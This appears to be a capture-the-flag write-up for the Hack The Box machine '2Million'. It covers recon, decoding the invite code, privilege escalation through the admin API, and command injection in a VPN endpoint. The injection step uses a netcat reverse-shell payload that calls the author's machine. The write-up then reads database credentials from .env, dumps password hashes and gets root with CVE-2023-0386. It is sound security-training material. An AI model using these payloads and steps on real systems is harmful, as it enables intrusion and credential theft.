2-Million

Target IP: 10.129.229.66
Challenge Description: N/A.


Reconnaissance

545923d326fdfa1e968352432b2fcfa4.png
I performed a port scan using the command sudo nmap -sS 10.129.229.66 -p- and obtained the result shown above. By the looks of it, there are two TCP ports open on the target machine on their standard ports: SSH and HTTP. I will perform an aggressive scan against these ports to identify more information.

66d2cbca903a3504a7c4b307913ba463.png
I ran the command sudo nmap -sV -A 10.129.229.66 -p 22,80 and obtained the result shown above. The HTTP scan is interesting, as it gets redirected to http://2million.htb. I will insert this hostname inside my /etc/hosts file. After adding the hostname, I performed a subdomain enumeration but I did not find anything. Time to enumerate the web application on port 80.


Enumeration

Port 80: HTTP
1886e18a81a1c2385acacc8f05572a36.png
The webpage above is displayed for this web application.

b7ca728700c17baae6d56a6d948262a5.png
I notice there is a join section. Hoovering over the Join HTB button shows a redirection URL to http://2million.htb/invite, as shown above. Hmmm...

ee4749239104c3997aa6de2c4b4b231f.png
I pressed the button from the previous image and the webpage above was presented to me. It informs me to enter the invite code. Time to dig the source-code of this webpage to reverse engineer how the invite code works.

4edf63109825630ed8c17eb67a79ad4f.png
I viewed the source-code of this webpage and obtained the crucial information shown above. I notice there is another JavaScript file with the name inviteapi.min.js that is loaded too. I viewed the source-code of inviteapi.min.js and this was obfuscated. The minified JavaScript code is shown below:

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

I used this online JavaScript deobfuscator tool and obtained the code below:

eval(
  (function (p, a, c, k, e, d) {
    e = function (c) {
      return c.toString(36)
    }
    if (!''.replace(/^/, String)) {
      while (c--) {
        d[c.toString(a)] = k[c] || c.toString(a)
      }
      k = [
        function (e) {
          return d[e]
        },
      ]
      e = function () {
        return '\\w+'
      }
      c = 1
    }
    while (c--) {
      if (k[c]) {
        p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
      }
    }
    return p
  })(
    '1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',
    24,
    24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split(
      '|'
    ),
    0,
    {}
  )
)
eval(
  (function (p, a, c, k, e, d) {
    e = function (c) {
      return c.toString(36)
    }
    if (!''.replace(/^/, String)) {
      while (c--) {
        d[c.toString(a)] = k[c] || c.toString(a)
      }
      k = [
        function (e) {
          return d[e]
        },
      ]
      e = function () {
        return '\\w+'
      }
      c = 1
    }
    while (c--) {
      if (k[c]) {
        p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
      }
    }
    return p
  })(
    '1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',
    24,
    24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split(
      '|'
    ),
    0,
    {}
  )
)

In the code above, I notice some interesting strings such as verifyInviteCode, makeInviteCode, and verify. The first two strings are using the camel-casing; therefore, this is a function. To reverse-engineer these functions, I can directly call them inside the console using the Developer tool.


Exploitation

e8c0a4ca5445270505568cb887ad5f57.png
I browsed to http://2million.htb/invite and called the makeInviteCode function and obtained the result shown above. The string Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr has been encrypted using ROT13, and it informs me to decrypt it to obtain the plaintext.

002670a0e39491c82eb52feb290ea5fd.png
To obtain the plaintext from the ciphertext, I used Cyberchef with the recipe ROT13 as shown above. The amount I used is 13 and obtained the plaintext In order to generate the invite code, make a POST request to /api/v1/invite/generate, as shown above. I can use burpsuite to make a POST request.

0e064df70904b41924f8c20b04983ea1.png
I fired up burpsuite on my machine. Then I browsed to http://2million.htb/api/v1/invite/generate. After I intercepted the request, I sent this request to the Repeater tool. Then I changed the HTTP method of GET to POST and sent the request. And I obtained the encoded string NEdVSkwtSFQyVUgtR0Q4NkwtTDRCSFc= with the hint encoded inside the format tag.

96f496a45188ea45f99a9325e249d61d.png
To decode the string NEdVSkwtSFQyVUgtR0Q4NkwtTDRCSFc=, I used the Inspector tool offered by the burpsuite as shown above. The encoded string is in base64. After decoding it, I obtained the string 4GUJL-HT2UH-GD86L-L4BHW. This looks like the invite code now. Time to insert this invite code over at http://2million.htb/invite.

33a86de76dee2a9c2b0d82044b4e071b.png
After inserting the invite code, I pressed the Sign Up button as shown above.

8d42df70de0c11eb5fce555b643a5826.png
And bingo! Now I can register as a user on the web application.

75cb7013f9ba4d27207759a54ff3ca3e.png
I created a new account using the information shown above. The credentials I used are tester:tester123. And I successfully registered an account.

c6e2240ef2e441bcfe6943d60c0d4bae.png
Then I managed to successfully login to my account, as shown above.

0a7c23d93b32ff344dc941669648cdc4.png
After some manual enumeraiton, I found something interesting. Hoovering over the Connection Pack shows it is making a request to http://2million.htb/api/v1/user/vpn/generate API, as shown above. It looks like the VPNs are being generated by this API endpoint. I notice the naming convention of this API is using /api/v1. Maybe I can make a request to it to identify what API endpoints there are.

0141a0258f5ed97a730101a06161a54e.png
And bingo! I made a request to /api/v1 and obtained the result shown above. There are multiple API endpoints. The ones that interest me are /api/v1/admin, as highlighted in yellow in the image above. I find the API endpoint /api/v1/admin/settings/update the most interesting. It mentions this endpoint can be used to update user settings. What if I can give myself admin privileges?

d0573c7bbf667c11347b25e03616fdd2.png
After some enumeration, I managed to use the parameter email with the value test@test.com to obtain the result shown above. I also had to add the Content-Type: application/json header field to make this work. The output states Missing parameter: is_admin. Time to add the new parameter is_admin. Maybe I can set it to 1 to give myself admin privileges?

87a2eb4de2f855f5125b8df32b4c540d.png
And bingo! I managed to successfully give myself admin privileges. Time to enumerate the other admin API endpoints.

804382815ebf2c329c880d3976d08433.png
I notice the API endpoint /api/v1/user/vpn/generate requests the same parameter username, as shown above.

b78a5f248a7948f9def067db62de311a.png
After enumerating the API endpoint /api/v1/user/vpn/generate, I notice it is vulnerable to command injection attack as shown above. The parameter username seems to be vulnerable to command injection. I sent the parameter "username":"test; whoami; id; ls -la;" and obtained the result shown above. The target machine successfully executed the commands. There is an interesting file with the name .env too. This file is used to store environment variable values. Maybe I can find saved credentials inside that file? But, it is time to obtain a foothold on the target machine now :) I started a listener on my machine at port 8443.

e5a3a60f49b59d6bc4e381696fae7341.png
And bingo! Now I have a foothold on the target machine with the session as www-data, as shown above. I sent the payload "username":"test; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.91 8443 >/tmp/f;".


Privilege Escalation

d421a178154112875bff42ac0ca7d80d.png
The file .env contains the credentials admin:SuperDuperPass123, as shown above.

1abb456889dc7d6a920d0b2ab2b6cbce.png
I upgraded my shell to a Python tty shell using the command python3 -c 'import pty; pty.spawn("/bin/bash");' so I can interact with the database application. Then I used the command mysql -u admin -p and then the password SuperDuperPass123, I managed to gain access to the database application on the 127.0.0.1 interface, as shown above. The database htb_prod contains the table users too.

38874b8b42aaf61ad5100cad017380c6.png
Using the statement SELECT * FROM users;, I managed to get the dump above. This database table contains the password hashes of two other users: TRX and TheCyberGeek, as shown above. I will copy the password hashes to my machine and attempt to crack it using john.

7cd03ac482b0c5230ce95959ea396fdd.png
I notice there is a user called admin on the target machine. While waiting for the password hashes to crack, I sprayed the password SuperDuperPass123 against the user admin on the target machine and got a hit. I managed to successfully elevate my privileges on the target machine to the user admin using su, as shown above. Now I can SSH into the target machine as this new user.

88a98d59ed135d5dee48b10cc9f228a8.png
I managed to SSH into the target machine as the user admin by using the command ssh admin@2million.htb and the password SuperDuperPass123, as shown above. After logging in as this user, I notice the notification stating this user has an email. However, running the command mail does not do anything.

63e105f43c1f64544aafe5fc2b850e2d.png
Using the command find / -name "mail" -type f 2>/dev/null, I managed to locate the mail application on the target machine. It is located at /usr/lib/byobu as shown above. I notice this is just a text file, not a binary executable file.

bd887b39d5833ac28d6eda6e1debe82c.png
Running the command cat mail shows how to use this to read email files. I can read emails by browsing to /var/spool/mail/$USER, and replacing the last part with the username.

c4d9c5ccc054f6ce57185642d3b5ae99.png
And bingo. I read the email file by using the command cat admin at /var/spool/mail/admin, as shown above. This email file mentions the target machine is vulnerable to the OverlayFS / Fuse. After doing a Google search, this vulnerability has the CVE ID of CVE-2023-0386.

5149cf06f34dca82dfb1ec7ae9e4fc7f.png
And the exploit is pretty easy to run, as shown above. I downloaded the exploit on my machine. This exploit requires me to have two sessions on the target machine, and this is possible by the use of SSH credentials of the user admin.

3b114e982e580d8b4d8de8f4e8a7d586.png
I transferred the exploit to the target machine using Python HTTP Server at /tmp directory. Then I unzipped the file. Afterwards, I ran the command ./fuse ./ovlcap/lower ./gc inside the exploit directory in the first terminal SSH session, as shown above.

d74f2ab93b182b92148028fe587c41bb.png
On the second terminal SSH session, I deployed the command ./exp and obtained a root shell on the target machine as shown above. This exploit successfully spawned a root shell. Now I have root access on the target machine :) GG.


Flags

eebb2360c8e9d1285346ce138da2c1fc.png
The two flags are shown above.